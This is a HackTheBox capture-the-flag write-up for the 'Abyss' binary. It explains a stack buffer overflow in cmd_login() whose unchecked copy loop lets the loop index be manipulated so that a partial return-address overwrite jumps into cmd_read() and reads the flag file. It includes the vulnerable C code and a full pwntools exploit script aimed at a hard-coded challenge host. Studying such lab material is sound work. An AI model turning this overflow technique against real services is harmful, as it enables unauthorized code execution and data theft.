$ cat writeup.md…
$ cat writeup.md…
hackthebox
Task: Buffer overflow in cmd_login() with null-terminated copy loop lacking bounds check. Solution: Manipulate loop variable i via self-propagating overflow to overwrite return address with partial address (0x4014ed) that bypasses null byte restrictions, jumping to middle of cmd_read() to read flag file.
Abyss is a secret collective of tech wizards with the single-minded aim of reintroducing the technology of old to the society of today. They are so indoctrinated to this faith that they will eradicate all that stand within their way. They are now going around, mumbling something about "file transfers" and spreading unrealistic lies about unattainable goals - can you analyse their work and see what they're up to?
In the cmd_login() function there's a classic buffer overflow with an interesting twist:
void cmd_login() { char pass[MAX_ARG_SIZE] = {0}; // 512 bytes char user[MAX_ARG_SIZE] = {0}; // 512 bytes char buf[MAX_ARG_SIZE]; // 512 bytes int i; memset(buf, '\0', sizeof(buf)); if (read(0, buf, sizeof(buf)) < 0) return; if (strncmp(buf, "USER ", 5)) return; i = 5; while (buf[i] != '\0') // <-- Vulnerability! { user[i - 5] = buf[i]; i++; } user[i - 5] = '\0'; // ... same for pass }
The loop while (buf[i] != '\0') doesn't check array bounds. When i >= 512, reading buf[i] goes beyond the buffer and reads from adjacent memory — the user array.
This creates a self-propagating overflow: data from user is copied back into user with an offset, allowing overwrite of saved_rbp and return address.
Target addresses in the 0x40xxxx range contain null bytes (\x00), which stop the copy loop before the full address is written.
The key idea is to use the value in user[17] to manipulate the variable i. When the loop reads buf[i] at i >= 512, it actually reads from user. If we write the special value 0x1c to user[17], this makes i "jump" forward, skipping saved_rbp.
Instead of jumping directly to the function start, we use address 0x4014ed — this is the jne instruction inside cmd_read():
0x4014e8: test eax, eax 0x4014ea: je 0x401520 ; skip if logged_in == 0 0x4014ed: jne 0x401500 ; <-- our target! jump to file reading
The advantage of this address: the first 3 bytes (\xed\x14\x40) don't contain null in critical positions. The fourth byte \x00 doesn't interfere since it's already in place in memory.
0x1c to user[17] — this makes i jump0x4014ed to user[29..31]jne 0x401500eax != 0 (which is likely after our manipulations), the jump occurs+------------------+
| buf[512] | <- read() reads here
+------------------+
| user[512] | <- copied from buf, overflow continues
+------------------+
| pass[512] |
+------------------+
| i (4 bytes) |
+------------------+
| saved_rbp |
+------------------+
| return_addr | <- overwrite with 0x4014ed
+------------------+
#!/usr/bin/env python3 """ Exploit for Abyss - Jump to jne instruction Target: 0x4014ed (jne 0x401500) 0x4014ed = \xed\x14\x40\x00... First 3 bytes are non-null! If eax (from previous operation) is non-zero, it will jump to 0x401500 (file reading). """ from pwn import * context.arch = "amd64" context.log_level = "info" HOST = "94.237.59.242" PORT = 41542 def exploit(): p = remote(HOST, PORT) # Commands LOGIN = p32(0) # Target: 0x4014ed # ret_addr[0] = 0xed # ret_addr[1] = 0x14 # ret_addr[2] = 0x40 # USER payload with i manipulation user_payload = b"A" * 17 # user[0..16] user_payload += bytes([0x1C]) # user[17] - makes i jump user_payload += b"A" * 11 # user[18..28] user_payload += bytes([0xED]) # user[29] - ret_addr[0] user_payload += bytes([0x14]) # user[30] - ret_addr[1] user_payload += bytes([0x40]) # user[31] - ret_addr[2] user_data = b"USER " + user_payload user_data = user_data.ljust(512, b"\x00") # PASS payload pass_data = b"PASS " + b"B" * 507 pass_data = pass_data.ljust(512, b"\x00") # Filename filename = b"flag.txt\x00".ljust(512, b"\x00") # Send everything at once payload = LOGIN + user_data + pass_data + filename log.info(f"Sending {len(payload)} bytes...") p.send(payload) import time time.sleep(2) try: output = p.recvall(timeout=5) log.success(f"Output ({len(output)} bytes): {output}") if b"HTB{" in output: log.success("Found HTB flag!") import re match = re.search(rb"HTB\{[^}]+\}", output) if match: log.success(f"FLAG: {match.group().decode()}") except Exception as e: log.warning(f"Error: {e}") p.close() if __name__ == "__main__": exploit()
Use this technique when:
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar